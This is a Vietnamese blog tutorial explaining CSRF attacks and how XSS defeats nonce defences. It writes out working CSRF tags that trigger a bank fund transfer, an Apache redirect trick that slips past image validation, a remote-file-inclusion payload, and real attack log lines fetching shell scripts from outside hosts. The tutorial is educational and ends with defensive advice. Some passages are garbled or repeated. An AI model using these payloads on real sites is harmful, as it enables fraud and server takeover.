XSS Tấn công và phòng thủ: CSRF
Bài đăng này đã không được cập nhật trong 3 năm
Có một kiểu tấn công cạnh tranh với XSS, cả trong việc dễ khai thác
cũng như độ phổ biến, đó là CSRF (Cross-site request progeries - thỉnh
thoảng cũng được viết tắt là XSRF). CSRF là một kiểu tấn công đơn giản
nhưng có tác động rất lớn đến việc bảo mật các ứng dụng Web. Hãy xem
một tên miền tham chiếu chéo đơn giản có thể trông như thế nào trong
một thẻ iframe
<iframe src=https://somebank.com></iframe>
Mặc dù đây là ví dụ trên là vô hại, chúng ta hãy chú ý đến những gì
trình duyệt Web sẽ làm khi gặp đoạn mã trên. Giả thiết rằng bạn đã
đăng nhập và xác thực thành công với trang somebank.com
và bạn đã
từng truy cập vào trang của ngân hàng trước đó. Giả thiết nữa là trình
duyệt của bạn có thể xử lý các thẻ iframe
, nó không chỉ show trang
Web của ngân hàng, mà nó còn sử dụng cookie của bạn và gửi tới trang
Web đó. Bây giờ, hãy thử tấn công CSRF với somebank.com
:
<iframe src=https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456></iframe>
Đối tượng trong ví dụ trên không phải là một bức ảnh, nó nằm trên cùng
một máy chủ, nên nó sẽ bị từ chối bởi máy chủ. Và người dùng sẽ được
không phép đăng bài bình luận. Hơn nữa, một số hệ thống nghĩ rằng xác
thực phần mở rộng của tên file là .jpg
hoặc .gif
là đủ để xác định
rằng nó có thực sự là một bức ảnh hay không? Do đó, cú pháp chính xác
có thể như sau:
<img src="http://ha.ckers.org/a.jpg">
Đoạn mã trên mô phỏng một cuộc tấn công CSRF trông như thế nào. Nó cố gắng làm người dùng thực hiện những hành động mà kẻ tấn công mong muốn. Trong trường hợp này, kẻ tấn công cố gắng làm người dùng gửi 1 triệu đô la $ tới tài khoản 123456. Thật không may, iframe không chỉ là cách duy nhất và tấn công CSRF có thể lợi dụng. Hãy xem xét một vài ví dụ khác.
<img src="https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456%gt">
<bgsound SRC="https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456">
Trong 3 ví dụ trên, kiểu dữ liệu mà trình duyệt nhận được không có dấu
hiệu nào cho thấy đây là một cuộc tấn công. Ví dụ, một truy vấn từ 1
ảnh có thể là một file jpg
hoặc gif
, không phải là file html nhận
được từ máy chủ Web. Tuy nhiên, vào thời điểm trình duyệt nhận ra một
vài bất thường, thì cuộc tấn công đã xảy ra và kết thúc. Bởi vì đích
đến là trang Web của ngân hàng đã nhận được truy vấn và thực hiện việc
chuyển tiền.
Một điều khác khó chịu khác của CSRF là nó không chịu tuân theo chính sách chung nguồn gốc (same origin policy) Trong khi CSRF không thể được đọc từ tên miền khác, nhưng nó có thể tác động đến các tên miền. Để phòng tránh điều này, một vài trang Web sử dụng các token một lần dùng (nonces) được tích hợp vào các form hoặc URL. Các giá trị một lần dùng này được sinh ra khi người dùng truy cập vào trang Web, và đúng như tên của nó, nó sẽ thay đổi liên tục. Khi người dùng ấn vào một liên kết hay điền một form, token sẽ được gửi kèm theo truy vấn và được xác thực trên máy chủ. Nếu token là đúng, truy vấn sẽ được xử lý. Các token một lần dùng này có thể bảo vệ người dùng khỏi những cuộc tấn công bởi vì chỉ có một người có thể khai thác trang Web đó chính là người dùng đang truy cập và có token. Điều gì có thể xảy ra xung quanh việc này. Vâng, bạn có thể đoán được, đó chính là tấn công XSS.
XSS có khả năng hiển thị vào trong trang Web. Nó thể đọc các liên kết,
quét trang vầ có thể đọc bất kỳ trang nào trên cùng một host. Miễn là
có XSS trên trang Web đó, nonces
có thể đọc được và CSRF có thể được
lợi dụng. Đã có rất nhiều nghiên cứu về cách bảo vệ khỏi cách tấn công
này, nhưng cho đến này, không có biện nào phòng chống nào hiệu qủa
được xây dựng, vì mã độc Javascript có thể tương tác với trang Web như
một người dùng thông thường.
Johann Hartmann đã viết một blog tiêu đề “Buy one XSS, get a CSRF for free.” (Mua một XSS, bạn sẽ có một CSRF miễn phí). Điều này hoàn toàn chính xác. Một khi bạn có thể tìm ra lỗ hổng XSS trên một trang Web, bạn không chỉ sở hữu trang Web đó, mà bạn còn có cơ hội gây ra các truy vấn đến các trang Web khác trên máy chủ. Bởi vì Javascript được một ngôn ngữ lập trình đầy đủ tính năng, nó rất dễ dàng để xáo trộn các liên kết và các đối tượng truy vấn, tất cả rất kín đáo và vô hình với nạn nhân.
Một vài hệ thống cho phép các đối tượng từ xa, nhưng chỉ sau khi họ xác thực các đối tượng này là thật và không ở trên máy chủ. Bằng cách này, kẻ tấn công không thể đơn giarn đặt đối tượng trên một bảng tin giả mạo ngân hàng và thực hiện liên kết tới thao tác khác:
<img src="https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456">
Đối tượng trong ví dụ trên không phải là một bức ảnh, và nó nằm trên
cùng máy chủ, do đó nó sẽ bị từ chối, và người dùng không được phép
đăng các bài bình luận. Hơn nữa, một số hệ thống nghĩ rằng chỉ cần xác
thực phần mở rộng của tên file là .jpg
hoặc .gif
là đủ để xác định
rằng nó có thực sự là một bức ảnh hay không. Do đó, cú pháp đúng sẽ
giống như ví dụ dưới đây:
<img src="http://ha.ckers.org/a.jpg">
Ngay cả khi máy chủ xác thực rằng bức ảnh là đúng, không có gì chứng
minh rằng nó sẽ tiếp tục sau khi robot xác định các bức ảnh ở đó. Đây
là nơi mà những kẻ tấn công có thể vượt qua các biện pháp bảo vệ
CSRF. Bằng cách tạo chuyển hướng sau khi robot xác định bức ảnh là
thật, kẻ tấn công có thẻ bắt buộc người dùng trong tương lai chuyển
hướng đến một trang khác. Dưới đây là một ví dụ chuyển hướng Apache
trong file httpd.conf
hoặc .htaccess
Redirect 302 /a.jpg https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456
Dưới đây là một ví dụ truy vấn một khi người dùng truy cập đến trang có ảnh trong đó:
GET /a.jpg HTTP/1.0
Host: ha.ckers.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3)
Gecko/20070309 Firefox/2.0.0.3
Accept: image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://somebank.com/board.asp?id=692381
Và đây là trả lời của máy chủ:
HTTP/1.1 302 Found
Date: Fri, 23 Mar 2007 18:22:07 GMT
Server: Apache
Location: https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456
Content-Length: 251
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="https://somebank.com/transferfunds.asp?amnt=
1000000&acct=123456">here</a>.</p>
</body></html>
Khi trình duyệt nhìn thấy chuyển hướng, nó sẽ chuyển hướng đến
somebank.com
cùng với những dữ liệu cookie đi kèm. Thật không may,
tham chiếu URL sẽ không thay đổi trong trang chuyển hướng, vì thế nó
rất khó để phát hiện tham chiếu URL trừ khi bạn biết chính xác trang
nào là được truy cập trực tiếp. Thậm chí vẫn còn nhiều trình duyệt
không gửi tham chiếu URL bởi vì các add-on bảo mật, do đó nó rất khó
chứng minh. Kiểu tấn công này còn được gọi là session riding khi mà
session của người dùng được sử dụng là một phanafa của tấn công. Ví dụ
trên là một mô phỏng điển hình cách mà session có thể được sử dụng
trong các cuộc tấn công. Nếu bạn quyết định thời gian hết hạn của
session, bạn có thể xem xét lại nó.
Một điều khó chịu khác có thể được thực hiện bằng CSRF là tấn công bao
gồm Hypertext Preprocessor (PHP). PHP là một ngôn ngữ lập trình đang
ngày càng phổ biến hiện nay. Mặc dùng, nó rất hữu dụng và được sử dụng
rộng rãi, nó cũng được sử dụng bởi những người có ít hiểu biết về bảo
mật. Trong bài viết tôi không đi sâu vào đặc tả kỹ thuật của PHP,
chúng ta hãy tập trung vào những gì mà kẻ tấn công có thể thực
hiện. Hãy nghĩ rằng có một tấn công bao gồm PHP đối với victim.com
nhưng kẻ tấn công không muốn tấn công nó một cách trực tiếp. Hắn ta
muốn làm một người khác thực hiện cuộc tấn công này, khiến hắn khó bị
theo dấu hơn.
Sử dụng XSS, CSRF hoặc kết hợp của cả 2, kẻ tấn công có thể khiến người dùng không nghi ngờ kết nối tới máy chủ Web từ xa và thực hiện cuộc tấn công theo ý đồ của hoăn. Ví dụ dưới đây chỉ sử dụng CSRF:
<img src="http://victim.com/blog/index.php?l=http://someserver.com/solo/kgb.c?">
Ví dụ trên xảy ra với một máy chủ production. Nó muốn máy chủ tải lên một file và chạy file đó như một máy chủ Web. Nó có thể bất cứ điều gì, những điều có thể bạn không tưởng tượng được. Thông thường, nó được sử dụng để tạo botnet. Bạn có thể thấy tại sao tấn công đơn giarn này có thể tàn phá mọi thứ. Kiểu tấn công này rất phổ biến. Dưới đây là một dạng của tấn công kiểu này lấy ra từ file log:
217.148.172.158 - - [14/Mar/2007:11:41:50 -0700] "GET /stringhttp://atc-dyk.dk/components/com_extcalendar/mic.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.64"
203.135.128.187 - - [15/Mar/2007:09:41:09 -0700] "GET /default.php?pag=http://atc-dyk.dk/components/com_extcalendar/mic.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.805"
129.240.85.149 - - [17/Mar/2007:01:01:50 -0700] "GET /rne/components/com_extcalendar/admin_events.php?http://www.cod2-servers.com/e107_themes/id.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.65"
64.34.176.215 - - [18/Mar/2007:17:22:11 -0700] "GET /components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://Satan.altervista.org/id.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.805"
128.121.20.46 - - [18/Mar/2007:17:37:56 -0700] "GET /nuke_path/iframe.php?file=http://www.cod2-servers.com/e107_themes/id.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.65"
128.121.20.46 - - [18/Mar/2007:17:46:48 -0700] "GET /iframe.php?file=http://www.cod2-servers.com/e107_themes/id.txt? HTTP/1.1" 302 204 "-" "libwww-perl/5.65"
66.138.137.61 - - [18/Mar/2007:19:44:06 -0700] "GET /main.php?bla=http://stoerlein.de/images/kgb.c? HTTP/1.1" 302 204 "-" "libwww-perl/5.79"
85.17.11.53 - - [19/Mar/2007:19:51:56 -0700] "GET /main.php?tld=http://nawader.org/modules/Top/kgb.c? HTTP/1.1" 302 204 "-" "libwww-perl/5.79"
Bạn sẽ chú ý rằng một ví dụ đề sử dụng libwww để kết nối, làm nó trở nên rất dễ để phát hiện. Tuy nhiên, trên thực tế, không có lý do gì mà kẻ tấn công không tìm cách che giấu điều này, hoặc như chúng ta nhìn thấy ở trên, kẻ tấn công có thể sử dụng trình duyệt của người dùng để thực hiện tấn công theo ý đồ của hắn. Nó chính là sức mạnh của CSRF và XSS, kẻ tấn công sử dụng trình duyệt của người dùng để tấn công.
Đương nhiên người dùng không bao giowf được thông báo rằng trình duyệt
của họ đang thực hiện một cuộc tấn công, và trong rất nhiểu trường
hợp, nếu cache bị tắt, một khi trình duyệt bị tắt đi, họ sẽ mất toàn
bộ bằng chứng rằng họ không phải là người mở đầu cuộc tấn công
này. Chỉ có 1 cách bảo vệ khỏi CSRF hiệu quả, đó là làm trang Web của
bạn sử dụng một vài dạng nonce
và điều quan trọng nhất là đảm bảo nó
không có lỗ hổng XSS. Ngay cả những lỗ hổng xác thực đầu vào nhỏ nhất
cũng có thể gây tác hại khổng lồ. Hãy cẩn thận.
All rights reserved